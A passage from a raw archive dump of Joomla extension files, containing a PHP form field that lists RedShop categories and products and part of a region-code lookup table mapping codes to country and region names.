getInput() { $this->value = (float) ($this->value ?: $this->default); if ( ! empty($this->max)) { $this->value = min($this->value, $this->max); } if ( ! empty($this->min)) { $this->value = max($this->value, $this->min); } return parent::getInput(); } protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $extraData = [ 'prepend' => (string) $this->element['prepend'] ?? '', 'append' => (string) $this->element['append'] ?? '', ]; return array_merge($data, $extraData); } protected function getLayoutPaths() { $paths = parent::getLayoutPaths(); $paths[] = JPATH_LIBRARIES . '/regularlabs/layouts'; return $paths; } } redshop.php 0000644 00000011733 15232574455 0006742 0 ustar 00 <?php /** * Element: RedShop * Displays a multiselectbox of available RedShop categories / products * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/functions.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/parameters.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_RedShop extends JFormField { public $type = 'RedShop'; private $params = null; private $db = null; private $max_list_count = 0; protected function getInput() { if (!nnFrameworkFunctions::extensionInstalled('redshop')) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_FILES_NOT_FOUND', JText::_('NN_REDSHOP')) . '</fieldset>'; } $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $group = $this->get('group', 'categories'); $tables = $this->db->getTableList(); if (!in_array($this->db->getPrefix() . 'redshop_' . ($group == 'products' ? 'product' : 'category'), $tables)) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_TABLE_NOT_FOUND', JText::_('NN_REDSHOP')) . '</fieldset>'; } $parameters = nnParameters::getInstance(); $params = $parameters->getPluginParams('nnframework'); $this->max_list_count = $params->max_list_count; if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->{'get' . $group}(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; switch ($group) { case 'categories': return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); default: return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, $multiple); } } function getCategories() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__redshop_category AS c') ->where('c.published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $show_ignore = $this->get('show_ignore'); $query->clear() ->select('c.category_id as id, x.category_parent_id AS parent_id, c.category_name AS title, c.published') ->from('#__redshop_category AS c') ->join('LEFT', '#__redshop_category_xref AS x ON x.category_child_id = c.category_id') ->where('c.published > -1') ->order('c.ordering, c.category_name'); $this->db->setQuery($query); $items = $this->db->loadObjectList(); // establish the hierarchy of the menu // TODO: use node model $children = array(); if ($items) { // first pass - collect children foreach ($items as $v) { $pt = $v->parent_id; $list = @$children[$pt] ? $children[$pt] : array(); array_push($list, $v); $children[$pt] = $list; } } // second pass - get an indent list of the items $list = JHtml::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0); // assemble items to the array $options = array(); if ($show_ignore) { if (in_array('-1', $this->value)) { $this->value = array('-1'); } $options[] = JHtml::_('select.option', '-1', '- ' . JText::_('NN_IGNORE') . ' -', 'value', 'text', 0); $options[] = JHtml::_('select.option', '-', ' ', 'value', 'text', 1); } foreach ($list as $item) { $item->treename = nnText::prepareSelectItem($item->treename, $item->published, '', 1); $options[] = JHtml::_('select.option', $item->id, $item->treename, 'value', 'text', 0); } return $options; } function getProducts() { $query = $this->db->getQuery(true) ->select('p.product_id as id, p.product_name AS name, p.product_number as number, c.category_name AS cat, p.published') ->from('#__redshop_product AS p') ->join('LEFT', '#__redshop_product_category_xref AS x ON x.product_id = p.product_id') ->join('LEFT', '#__redshop_category AS c ON c.category_id = x.category_id') ->where('p.published > -1') ->order('p.product_name, p.product_number'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); // assemble items to the array $options = array(); foreach ($list as $item) { $item->name = $item->name . ' [' . $item->number . ']' . ($item->cat ? ' [' . $item->cat . ']' : ''); $item->name = nnText::prepareSelectItem($item->name, $item->published); $options[] = JHtml::_('select.option', $item->id, $item->name, 'value', 'text', 0); } return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } regions.txt 0000644 00000453605 15232574455 0007004 0 ustar 00 // Region codes taken from https://documentation.snoobi.com/region-codes '--AF' => '','-AF' => 'Afghanistan', 'AF-01' => 'Afghanistan: Badakhshan', 'AF-02' => 'Afghanistan: Badghis', 'AF-03' => 'Afghanistan: Baghlan', 'AF-30' => 'Afghanistan: Balkh', 'AF-05' => 'Afghanistan: Bamian', 'AF-06' => 'Afghanistan: Farah', 'AF-07' => 'Afghanistan: Faryab', 'AF-08' => 'Afghanistan: Ghazni', 'AF-09' => 'Afghanistan: Ghowr', 'AF-10' => 'Afghanistan: Helmand', 'AF-11' => 'Afghanistan: Herat', 'AF-31' => 'Afghanistan: Jowzjan', 'AF-13' => 'Afghanistan: Kabol', 'AF-23' => 'Afghanistan: Kandahar', 'AF-14' => 'Afghanistan: Kapisa', 'AF-37' => 'Afghanistan: Khowst', 'AF-15' => 'Afghanistan: Konar', 'AF-34' => 'Afghanistan: Konar', 'AF-24' => 'Afghanistan: Kondoz', 'AF-16' => 'Afghanistan: Laghman', 'AF-35' => 'Afghanistan: Laghman', 'AF-17' => 'Afghanistan: Lowgar', 'AF-18' => 'Afghanistan: Nangarhar', 'AF-19' => 'Afghanistan: Nimruz', 'AF-38' => 'Afghanistan: Nurestan', 'AF-20' => 'Afghanistan: Oruzgan', 'AF-21' => 'Afghanistan: Paktia', 'AF-36' => 'Afghanistan: Paktia', 'AF-29' => 'Afghanistan: Paktika', 'AF-22' => 'Afghanistan: Parvan', 'AF-32' => 'Afghanistan: Samangan', 'AF-33' => 'Afghanistan: Sar-e Pol', 'AF-26' => 'Afghanistan: Takhar', 'AF-27' => 'Afghanistan: Vardak', 'AF-28' => 'Afghanistan: Zabol', '--AL' => '','-AL' => 'Albania', 'AL-40' => 'Albania: Berat', 'AL-41' => 'Albania: Diber', 'AL-42' => 'Albania: Durres', 'AL-43' => 'Albania: Elbasan', 'AL-44' => 'Albania: Fier', 'AL-45' => 'Albania: Gjirokaster', 'AL-46' => 'Albania: Korce', 'AL-47' => 'Albania: Kukes', 'AL-48' => 'Albania: Lezhe', 'AL-49' => 'Albania: Shkoder', 'AL-50' => 'Albania: Tirane', 'AL-51' => 'Albania: Vlore', '--DZ' => '','-DZ' => 'Algeria', 'DZ-34' => 'Algeria: Adrar', 'DZ-35' => 'Algeria: Ain Defla', 'DZ-36' => 'Algeria: Ain Temouchent', 'DZ-01' => 'Algeria: Alger', 'DZ-37' => 'Algeria: Annaba', 'DZ-03' => 'Algeria: Batna', 'DZ-38' => 'Algeria: Bechar', 'DZ-18' => 'Algeria: Bejaia', 'DZ-19' => 'Algeria: Biskra', 'DZ-20' => 'Algeria: Blida', 'DZ-39' => 'Algeria: Bordj Bou Arreridj', 'DZ-21' => 'Algeria: Bouira', 'DZ-40' => 'Algeria: Boumerdes', 'DZ-41' => 'Algeria: Chlef', 'DZ-04' => 'Algeria: Constantine', 'DZ-22' => 'Algeria: Djelfa', 'DZ-42' => 'Algeria: El Bayadh', 'DZ-43' => 'Algeria: El Oued', 'DZ-44' => 'Algeria: El Tarf', 'DZ-45' => 'Algeria: Ghardaia', 'DZ-23' => 'Algeria: Guelma', 'DZ-46' => 'Algeria: Illizi', 'DZ-24' => 'Algeria: Jijel', 'DZ-47' => 'Algeria: Khenchela', 'DZ-25' => 'Algeria: Laghouat', 'DZ-26' => 'Algeria: Mascara', 'DZ-06' => 'Algeria: Medea', 'DZ-48' => 'Algeria: Mila', 'DZ-07' => 'Algeria: Mostaganem', 'DZ-27' => 'Algeria: M\'sila', 'DZ-49' => 'Algeria: Naama', 'DZ-09' => 'Algeria: Oran', 'DZ-50' => 'Algeria: Ouargla', 'DZ-29' => 'Algeria: Oum el Bouaghi', 'DZ-51' => 'Algeria: Relizane', 'DZ-10' => 'Algeria: Saida', 'DZ-12' => 'Algeria: Setif', 'DZ-30' => 'Algeria: Sidi Bel Abbes', 'DZ-31' => 'Algeria: Skikda', 'DZ-52' => 'Algeria: Souk Ahras', 'DZ-53' => 'Algeria: Tamanghasset', 'DZ-33' => 'Algeria: Tebessa', 'DZ-13' => 'Algeria: Tiaret', 'DZ-54' => 'Algeria: Tindouf', 'DZ-55' => 'Algeria: Tipaza', 'DZ-56' => 'Algeria: Tissemsilt', 'DZ-14' => 'Algeria: Tizi Ouzou', 'DZ-15' => 'Algeria: Tlemcen', '--AD' => '','-AD' => 'Andorra', 'AD-07' => 'Andorra: Andorra la Vella', 'AD-02' => 'Andorra: Canillo', 'AD-03' => 'Andorra: Encamp', 'AD-08' => 'Andorra: Escaldes-Engordany', 'AD-04' => 'Andorra: La Massana', 'AD-05' => 'Andorra: Ordino', 'AD-06' => 'Andorra: Sant Julia de Loria', '--AO' => '','-AO' => 'Angola', 'AO-19' => 'Angola: Bengo', 'AO-01' => 'Angola: Benguela', 'AO-02' => 'Angola: Bie', 'AO-03' => 'Angola: Cabinda', 'AO-04' => 'Angola: Cuando Cubango', 'AO-05' => 'Angola: Cuanza Norte', 'AO-06' => 'Angola: Cuanza Sul', 'AO-07' => 'Angola: Cunene', 'AO-08' => 'Angola: Huambo', 'AO-09' => 'Angola: Huila', 'AO-20' => 'Angola: Luanda', 'AO-17' => 'Angola: Lunda Norte', 'AO-18' => 'Angola: Lunda Sul', 'AO-12' => 'Angola: Malanje', 'AO-14' => 'Angola: Moxico', 'AO-15' => 'Angola: Uige', 'AO-16' => 'Angola: Zaire', '--AG' => '','-AG' => 'Antigua and Barbuda', 'AG-01' => 'Antigua and Barbuda: Barbuda', 'AG-03' => 'Antigua and Barbuda: Saint George', 'AG-04' => 'Antigua and Barbuda: Saint John', 'AG-05' => 'Antigua and Barbuda: Saint Mary', 'AG-06' => 'Antigua and Barbuda: Saint Paul', 'AG-07' => 'Antigua and Barbuda: Saint Peter', 'AG-08' => 'Antigua and Barbuda: Saint Philip', '--AR' => '','-AR' => 'Argentina', 'AR-01' => 'Argentina: Buenos Aires', 'AR-02' => 'Argentina: Catamarca', 'AR-03' => 'Argentina: Chaco', 'AR-04' => 'Argentina: Chubut', 'AR-05' => 'Argentina: Cordoba', 'AR-06' => 'Argentina: Corrientes', 'AR-07' => 'Argentina: Distrito Federal', 'AR-08' => 'Argentina: Entre Rios', 'AR-09' => 'Argentina: Formosa', 'AR-10' => 'Argentina: Jujuy', 'AR-11' => 'Argentina: La Pampa', 'AR-12' => 'Argentina: La Rioja', 'AR-13' => 'Argentina: Mendoza', 'AR-14' => 'Argentina: Misiones', 'AR-15' => 'Argentina: Neuquen', 'AR-16' => 'Argentina: Rio Negro', 'AR-17' => 'Argentina: Salta', 'AR-18' => 'Argentina: San Juan', 'AR-19' => 'Argentina: San Luis', 'AR-20' => 'Argentina: Santa Cruz', 'AR-21' => 'Argentina: Santa Fe', 'AR-22' => 'Argentina: Santiago del Estero', 'AR-23' => 'Argentina: Tierra del Fuego', 'AR-24' => 'Argentina: Tucuman', '--AM' => '','-AM' => 'Armenia', 'AM-01' => 'Armenia: Aragatsotn', 'AM-02' => 'Armenia: Ararat', 'AM-03' => 'Armenia: Armavir', 'AM-04' => 'Armenia: Geghark\'unik\'', 'AM-05' => 'Armenia: Kotayk\'', 'AM-06' => 'Armenia: Lorri', 'AM-07' => 'Armenia: Shirak', 'AM-08' => 'Armenia: Syunik\'', 'AM-09' => 'Armenia: Tavush', 'AM-10' => 'Armenia: Vayots\' Dzor', 'AM-11' => 'Armenia: Yerevan', '--AU' => '','-AU' => 'Australia', 'AU-01' => 'Australia: Australian Capital Territory', 'AU-02' => 'Australia: New South Wales', 'AU-03' => 'Australia: Northern Territory', 'AU-04' => 'Australia: Queensland', 'AU-05' => 'Australia: South Australia', 'AU-06' => 'Australia: Tasmania', 'AU-07' => 'Australia: Victoria', 'AU-08' => 'Australia: Western Australia', '--AT' => '','-AT' => 'Austria', 'AT-01' => 'Austria: Burgenland', 'AT-02' => 'Austria: Karnten', 'AT-03' => 'Austria: Niederosterreich', 'AT-04' => 'Austria: Oberosterreich', 'AT-05' => 'Austria: Salzburg', 'AT-06' => 'Austria: Steiermark', 'AT-07' => 'Austria: Tirol', 'AT-08' => 'Austria: Vorarlberg', 'AT-09' => 'Austria: Wien', '--AZ' => '','-AZ' => 'Azerbaijan', 'AZ-01' => 'Azerbaijan: Abseron', 'AZ-02' => 'Azerbaijan: Agcabadi', 'AZ-03' => 'Azerbaijan: Agdam', 'AZ-04' => 'Azerbaijan: Agdas', 'AZ-05' => 'Azerbaijan: Agstafa', 'AZ-06' => 'Azerbaijan: Agsu', 'AZ-07' => 'Azerbaijan: Ali Bayramli', 'AZ-08' => 'Azerbaijan: Astara', 'AZ-09' => 'Azerbaijan: Baki', 'AZ-10' => 'Azerbaijan: Balakan', 'AZ-11' => 'Azerbaijan: Barda', 'AZ-12' => 'Azerbaijan: Beylaqan', 'AZ-13' => 'Azerbaijan: Bilasuvar', 'AZ-14' => 'Azerbaijan: Cabrayil', 'AZ-15' => 'Azerbaijan: Calilabad', 'AZ-16' => 'Azerbaijan: Daskasan', 'AZ-17' => 'Azerbaijan: Davaci', 'AZ-18' => 'Azerbaijan: Fuzuli', 'AZ-19' => 'Azerbaijan: Gadabay', 'AZ-20' => 'Azerbaijan: Ganca', 'AZ-21' => 'Azerbaijan: Goranboy', 'AZ-22' => 'Azerbaijan: Goycay', 'AZ-23' => 'Azerbaijan: Haciqabul', 'AZ-24' => 'Azerbaijan: Imisli', 'AZ-25' => 'Azerbaijan: Ismayilli', 'AZ-26' => 'Azerbaijan: Kalbacar', 'AZ-27' => 'Azerbaijan: Kurdamir', 'AZ-28' => 'Azerbaijan: Lacin', 'AZ-29' => 'Azerbaijan: Lankaran', 'AZ-30' => 'Azerbaijan: Lankaran', 'AZ-31' => 'Azerbaijan: Lerik', 'AZ-32' => 'Azerbaijan: Masalli', 'AZ-33' => 'Azerbaijan: Mingacevir', 'AZ-34' => 'Azerbaijan: Naftalan', 'AZ-35' => 'Azerbaijan: Naxcivan', 'AZ-36' => 'Azerbaijan: Neftcala', 'AZ-37' => 'Azerbaijan: Oguz', 'AZ-38' => 'Azerbaijan: Qabala', 'AZ-39' => 'Azerbaijan: Qax', 'AZ-40' => 'Azerbaijan: Qazax', 'AZ-41' => 'Azerbaijan: Qobustan', 'AZ-42' => 'Azerbaijan: Quba', 'AZ-43' => 'Azerbaijan: Qubadli', 'AZ-44' => 'Azerbaijan: Qusar', 'AZ-45' => 'Azerbaijan: Saatli', 'AZ-46' => 'Azerbaijan: Sabirabad', 'AZ-47' => 'Azerbaijan: Saki', 'AZ-48' => 'Azerbaijan: Saki', 'AZ-49' => 'Azerbaijan: Salyan', 'AZ-50' => 'Azerbaijan: Samaxi', 'AZ-51' => 'Azerbaijan: Samkir', 'AZ-52' => 'Azerbaijan: Samux', 'AZ-53' => 'Azerbaijan: Siyazan', 'AZ-54' => 'Azerbaijan: Sumqayit', 'AZ-55' => 'Azerbaijan: Susa', 'AZ-56' => 'Azerbaijan: Susa', 'AZ-57' => 'Azerbaijan: Tartar', 'AZ-58' => 'Azerbaijan: Tovuz', 'AZ-59' => 'Azerbaijan: Ucar', 'AZ-60' => 'Azerbaijan: Xacmaz', 'AZ-61' => 'Azerbaijan: Xankandi', 'AZ-62' => 'Azerbaijan: Xanlar', 'AZ-63' => 'Azerbaijan: Xizi', 'AZ-64' => 'Azerbaijan: Xocali', 'AZ-65' => 'Azerbaijan: Xocavand', 'AZ-66' => 'Azerbaijan: Yardimli', 'AZ-67' => 'Azerbaijan: Yevlax', 'AZ-68' => 'Azerbaijan: Yevlax', 'AZ-69' => 'Azerbaijan: Zangilan', 'AZ-70' => 'Azerbaijan: Zaqatala', 'AZ-71' => 'Azerbaijan: Zardab', '--BS' => '','-BS' => 'Bahamas', 'BS-24' => 'Bahamas: Acklins and Crooked Islands', 'BS-05' => 'Bahamas: Bimini', 'BS-06' => 'Bahamas: Cat Island', 'BS-10' => 'Bahamas: Exuma', 'BS-25' => 'Bahamas: Freeport', 'BS-26' => 'Bahamas: Fresh Creek', 'BS-27' => 'Bahamas: Governor\'s Harbour', 'BS-28' => 'Bahamas: Green Turtle Cay', 'BS-22' => 'Bahamas: Harbour Island', 'BS-29' => 'Bahamas: High Rock', 'BS-13' => 'Bahamas: Inagua', 'BS-30' => 'Bahamas: Kemps Bay', 'BS-15' => 'Bahamas: Long Island', 'BS-31' => 'Bahamas: Marsh Harbour', 'BS-16' => 'Bahamas: Mayaguana', 'BS-23' => 'Bahamas: New Providence', 'BS-32' => 'Bahamas: Nichollstown and Berry Islands', 'BS-18' => 'Bahamas: Ragged Island', 'BS-33' => 'Bahamas: Rock Sound', 'BS-35' => 'Bahamas: San Salvador and Rum Cay', 'BS-34' => 'Bahamas: Sandy Point', '--BH' => '','-BH' => 'Bahrain', 'BH-01' => 'Bahrain: Al Hadd', 'BH-02' => 'Bahrain: Al Manamah', 'BH-08' => 'Bahrain: Al Mintaqah al Gharbiyah', 'BH-11' => 'Bahrain: Al Mintaqah al Wusta', 'BH-10' => 'Bahrain: Al Mintaqah ash Shamaliyah', 'BH-03' => 'Bahrain: Al Muharraq', 'BH-13' => 'Bahrain: Ar Rifa', 'BH-05' => 'Bahrain: Jidd Hafs', 'BH-14' => 'Bahrain: Madinat Hamad', 'BH-12' => 'Bahrain: Madinat', 'BH-09' => 'Bahrain: Mintaqat Juzur Hawar', 'BH-06' => 'Bahrain: Sitrah', '--BD' => '','-BD' => 'Bangladesh', 'BD-22' => 'Bangladesh: Bagerhat', 'BD-04' => 'Bangladesh: Bandarban', 'BD-25' => 'Bangladesh: Barguna', 'BD-01' => 'Bangladesh: Barisal', 'BD-23' => 'Bangladesh: Bhola', 'BD-24' => 'Bangladesh: Bogra', 'BD-26' => 'Bangladesh: Brahmanbaria', 'BD-27' => 'Bangladesh: Chandpur', 'BD-28' => 'Bangladesh: Chapai Nawabganj', 'BD-29' => 'Bangladesh: Chattagram', 'BD-30' => 'Bangladesh: Chuadanga', 'BD-05' => 'Bangladesh: Comilla', 'BD-31' => 'Bangladesh: Cox\'s Bazar', 'BD-32' => 'Bangladesh: Dhaka', 'BD-33' => 'Bangladesh: Dinajpur', 'BD-34' => 'Bangladesh: Faridpur', 'BD-35' => 'Bangladesh: Feni', 'BD-36' => 'Bangladesh: Gaibandha', 'BD-37' => 'Bangladesh: Gazipur', 'BD-38' => 'Bangladesh: Gopalganj', 'BD-39' => 'Bangladesh: Habiganj', 'BD-40' => 'Bangladesh: Jaipurhat', 'BD-41' => 'Bangladesh: Jamalpur', 'BD-42' => 'Bangladesh: Jessore', 'BD-43' => 'Bangladesh: Jhalakati', 'BD-44' => 'Bangladesh: Jhenaidah', 'BD-45' => 'Bangladesh: Khagrachari', 'BD-46' => 'Bangladesh: Khulna', 'BD-47' => 'Bangladesh: Kishorganj', 'BD-48' => 'Bangladesh: Kurigram', 'BD-49' => 'Bangladesh: Kushtia', 'BD-50' => 'Bangladesh: Laksmipur', 'BD-51' => 'Bangladesh: Lalmonirhat', 'BD-52' => 'Bangladesh: Madaripur', 'BD-53' => 'Bangladesh: Magura', 'BD-54' => 'Bangladesh: Manikganj', 'BD-55' => 'Bangladesh: Meherpur', 'BD-56' => 'Bangladesh: Moulavibazar', 'BD-57' => 'Bangladesh: Munshiganj', 'BD-12' => 'Bangladesh: Mymensingh', 'BD-58' => 'Bangladesh: Naogaon', 'BD-59' => 'Bangladesh: Narail', 'BD-60' => 'Bangladesh: Narayanganj', 'BD-61' => 'Bangladesh: Narsingdi', 'BD-62' => 'Bangladesh: Nator', 'BD-63' => 'Bangladesh: Netrakona', 'BD-64' => 'Bangladesh: Nilphamari', 'BD-13' => 'Bangladesh: Noakhali', 'BD-65' => 'Bangladesh: Pabna', 'BD-66' => 'Bangladesh: Panchagar', 'BD-67' => 'Bangladesh: Parbattya Chattagram', 'BD-15' => 'Bangladesh: Patuakhali', 'BD-68' => 'Bangladesh: Pirojpur', 'BD-69' => 'Bangladesh: Rajbari', 'BD-70' => 'Bangladesh: Rajshahi', 'BD-71' => 'Bangladesh: Rangpur', 'BD-72' => 'Bangladesh: Satkhira', 'BD-73' => 'Bangladesh: Shariyatpur', 'BD-74' => 'Bangladesh: Sherpur', 'BD-75' => 'Bangladesh: Sirajganj', 'BD-76' => 'Bangladesh: Sunamganj', 'BD-77' => 'Bangladesh: Sylhet', 'BD-78' => 'Bangladesh: Tangail', 'BD-79' => 'Bangladesh: Thakurgaon', '--BB' => '','-BB' => 'Barbados', 'BB-01' => 'Barbados: Christ Church', 'BB-02' => 'Barbados: Saint Andrew', 'BB-03' => 'Barbados: Saint George', 'BB-04' => 'Barbados: Saint James', 'BB-05' => 'Barbados: Saint John', 'BB-06' => 'Barbados: Saint Joseph', 'BB-07' => 'Barbados: Saint Lucy', 'BB-08' => 'Barbados: Saint Michael', 'BB-09' => 'Barbados: Saint Peter', 'BB-10' => 'Barbados: Saint Philip', 'BB-11' => 'Barbados: Saint Thomas', '--BY' => '','-BY' => 'Belarus', 'BY-01' => 'Belarus: Brestskaya Voblasts\'', 'BY-02' => 'Belarus: Homyel\'skaya Voblasts\'', 'BY-03' => 'Belarus: Hrodzyenskaya Voblasts\'', 'BY-06' => 'Belarus: Mahilyowskaya Voblasts\'', 'BY-04' => 'Belarus: Minsk', 'BY-05' => 'Belarus: Minskaya Voblasts\'', 'BY-07' => 'Belarus: Vitsyebskaya Voblasts\'', '--BE' => '','-BE' => 'Belgium', 'BE-01' => 'Belgium: Antwerpen', 'BE-10' => 'Belgium: Brabant Wallon', 'BE-02' => 'Belgium: Brabant', 'BE-11' => 'Belgium: Brussels Hoofdstedelijk Gewest', 'BE-03' => 'Belgium: Hainaut', 'BE-04' => 'Belgium: Liege', 'BE-05' => 'Belgium: Limburg', 'BE-06' => 'Belgium: Luxembourg', 'BE-07' => 'Belgium: Namur', 'BE-08' => 'Belgium: Oost-Vlaanderen', 'BE-12' => 'Belgium: Vlaams-Brabant', 'BE-09' => 'Belgium: West-Vlaanderen', '--BZ' => '','-BZ' => 'Belize', 'BZ-01' => 'Belize: Belize', 'BZ-02' => 'Belize: Cayo', 'BZ-03' => 'Belize: Corozal', 'BZ-04' => 'Belize: Orange Walk', 'BZ-05' => 'Belize: Stann Creek', 'BZ-06' => 'Belize: Toledo', '--BJ' => '','-BJ' => 'Benin', 'BJ-01' => 'Benin: Atakora', 'BJ-02' => 'Benin: Atlantique', 'BJ-03' => 'Benin: Borgou', 'BJ-04' => 'Benin: Mono', 'BJ-05' => 'Benin: Oueme', 'BJ-06' => 'Benin: Zou', '--BM' => '','-BM' => 'Bermuda', 'BM-01' => 'Bermuda: Devonshire', 'BM-02' => 'Bermuda: Hamilton', 'BM-03' => 'Bermuda: Hamilton', 'BM-04' => 'Bermuda: Paget', 'BM-05' => 'Bermuda: Pembroke', 'BM-06' => 'Bermuda: Saint George', 'BM-07' => 'Bermuda: Saint George\'s', 'BM-08' => 'Bermuda: Sandys', 'BM-09' => 'Bermuda: Smiths', 'BM-10' => 'Bermuda: Southampton', 'BM-11' => 'Bermuda: Warwick', '--BT' => '','-BT' => 'Bhutan', 'BT-05' => 'Bhutan: Bumthang', 'BT-06' => 'Bhutan: Chhukha', 'BT-07' => 'Bhutan: Chirang', 'BT-08' => 'Bhutan: Daga', 'BT-09' => 'Bhutan: Geylegphug', 'BT-10' => 'Bhutan: Ha', 'BT-11' => 'Bhutan: Lhuntshi', 'BT-12' => 'Bhutan: Mongar', 'BT-13' => 'Bhutan: Paro', 'BT-14' => 'Bhutan: Pemagatsel', 'BT-15' => 'Bhutan: Punakha', 'BT-16' => 'Bhutan: Samchi', 'BT-17' => 'Bhutan: Samdrup', 'BT-18' => 'Bhutan: Shemgang', 'BT-19' => 'Bhutan: Tashigang', 'BT-20' => 'Bhutan: Thimphu', 'BT-21' => 'Bhutan: Tongsa', 'BT-22' => 'Bhutan: Wangdi Phodrang', '--BO' => '','-BO' => 'Bolivia', 'BO-01' => 'Bolivia: Chuquisaca', 'BO-02' => 'Bolivia: Cochabamba', 'BO-03' => 'Bolivia: El Beni', 'BO-04' => 'Bolivia: La Paz', 'BO-05' => 'Bolivia: Oruro', 'BO-06' => 'Bolivia: Pando', 'BO-07' => 'Bolivia: Potosi', 'BO-08' => 'Bolivia: Santa Cruz', 'BO-09' => 'Bolivia: Tarija', '--BA' => '','-BA' => 'Bosnia and Herzegovina', 'BA-01' => 'Bosnia and Herzegovina: Federation of Bosnia and Herzegovina', 'BA-02' => 'Bosnia and Herzegovina: Republika Srpska', '--BW' => '','-BW' => 'Botswana', 'BW-01' => 'Botswana: Central', 'BW-02' => 'Botswana: Chobe', 'BW-03' => 'Botswana: Ghanzi', 'BW-04' => 'Botswana: Kgalagadi', 'BW-05' => 'Botswana: Kgatleng', 'BW-06' => 'Botswana: Kweneng', 'BW-07' => 'Botswana: Ngamiland', 'BW-08' => 'Botswana: North-East', 'BW-09' => 'Botswana: South-East', 'BW-10' => 'Botswana: Southern', '--BR' => '','-BR' => 'Brazil', 'BR-01' => 'Brazil: Acre', 'BR-02' => 'Brazil: Alagoas', 'BR-03' => 'Brazil: Amapa', 'BR-04' => 'Brazil: Amazonas', 'BR-05' => 'Brazil: Bahia', 'BR-06' => 'Brazil: Ceara', 'BR-07' => 'Brazil: Distrito Federal', 'BR-08' => 'Brazil: Espirito Santo', 'BR-29' => 'Brazil: Goias', 'BR-13' => 'Brazil: Maranhao', 'BR-11' => 'Brazil: Mato Grosso do Sul', 'BR-14' => 'Brazil: Mato Grosso', 'BR-15' => 'Brazil: Minas Gerais', 'BR-16' => 'Brazil: Para', 'BR-17' => 'Brazil: Paraiba', 'BR-18' => 'Brazil: Parana', 'BR-30' => 'Brazil: Pernambuco', 'BR-20' => 'Brazil: Piaui', 'BR-21' => 'Brazil: Rio de Janeiro', 'BR-22' => 'Brazil: Rio Grande do Norte', 'BR-23' => 'Brazil: Rio Grande do Sul', 'BR-24' => 'Brazil: Rondonia', 'BR-25' => 'Brazil: Roraima', 'BR-26' => 'Brazil: Santa Catarina', 'BR-27' => 'Brazil: Sao Paulo', 'BR-28' => 'Brazil: Sergipe', 'BR-31' => 'Brazil: Tocantins', '--BN' => '','-BN' => 'Brunei Darussalam', 'BN-07' => 'Brunei Darussalam: Alibori', 'BN-08' => 'Brunei Darussalam: Belait', 'BN-09' => 'Brunei Darussalam: Brunei and Muara', 'BN-11' => 'Brunei Darussalam: Collines', 'BN-13' => 'Brunei Darussalam: Donga', 'BN-12' => 'Brunei Darussalam: Kouffo', 'BN-14' => 'Brunei Darussalam: Littoral', 'BN-16' => 'Brunei Darussalam: Oueme', 'BN-17' => 'Brunei Darussalam: Plateau', 'BN-10' => 'Brunei Darussalam: Temburong', 'BN-15' => 'Brunei Darussalam: Tutong', 'BN-18' => 'Brunei Darussalam: Zou', '--BG' => '','-BG' => 'Bulgaria', 'BG-38' => 'Bulgaria: Blagoevgrad', 'BG-39' => 'Bulgaria: Burgas', 'BG-40' => 'Bulgaria: Dobrich', 'BG-41' => 'Bulgaria: Gabrovo', 'BG-42' => 'Bulgaria: Grad Sofiya', 'BG-43' => 'Bulgaria: Khaskovo', 'BG-44' => 'Bulgaria: Kurdzhali', 'BG-45' => 'Bulgaria: Kyustendil', 'BG-46' => 'Bulgaria: Lovech', 'BG-33' => 'Bulgaria: Mikhaylovgrad', 'BG-47' => 'Bulgaria: Montana', 'BG-48' => 'Bulgaria: Pazardzhik', 'BG-49' => 'Bulgaria: Pernik', 'BG-50' => 'Bulgaria: Pleven', 'BG-51' => 'Bulgaria: Plovdiv', 'BG-52' => 'Bulgaria: Razgrad', 'BG-53' => 'Bulgaria: Ruse', 'BG-54' => 'Bulgaria: Shumen', 'BG-55' => 'Bulgaria: Silistra', 'BG-56' => 'Bulgaria: Sliven', 'BG-57' => 'Bulgaria: Smolyan', 'BG-58' => 'Bulgaria: Sofiya', 'BG-59' => 'Bulgaria: Stara Zagora', 'BG-60' => 'Bulgaria: Turgovishte', 'BG-61' => 'Bulgaria: Varna', 'BG-62' => 'Bulgaria: Veliko Turnovo', 'BG-63' => 'Bulgaria: Vidin', 'BG-64' => 'Bulgaria: Vratsa', 'BG-65' => 'Bulgaria: Yambol', '--BF' => '','-BF' => 'Burkina Faso', 'BF-45' => 'Burkina Faso: Bale', 'BF-15' => 'Burkina Faso: Bam', 'BF-46' => 'Burkina Faso: Banwa', 'BF-47' => 'Burkina Faso: Bazega', 'BF-48' => 'Burkina Faso: Bougouriba', 'BF-49' => 'Burkina Faso: Boulgou', 'BF-19' => 'Burkina Faso: Boulkiemde', 'BF-20' => 'Burkina Faso: Ganzourgou', 'BF-21' => 'Burkina Faso: Gnagna', 'BF-50' => 'Burkina Faso: Gourma', 'BF-51' => 'Burkina Faso: Houet', 'BF-52' => 'Burkina Faso: Ioba', 'BF-53' => 'Burkina Faso: Kadiogo', 'BF-54' => 'Burkina Faso: Kenedougou', 'BF-55' => 'Burkina Faso: Komoe', 'BF-56' => 'Burkina Faso: Komondjari', 'BF-57' => 'Burkina Faso: Kompienga', 'BF-58' => 'Burkina Faso: Kossi', 'BF-59' => 'Burkina Faso: Koulpelogo', 'BF-28' => 'Burkina Faso: 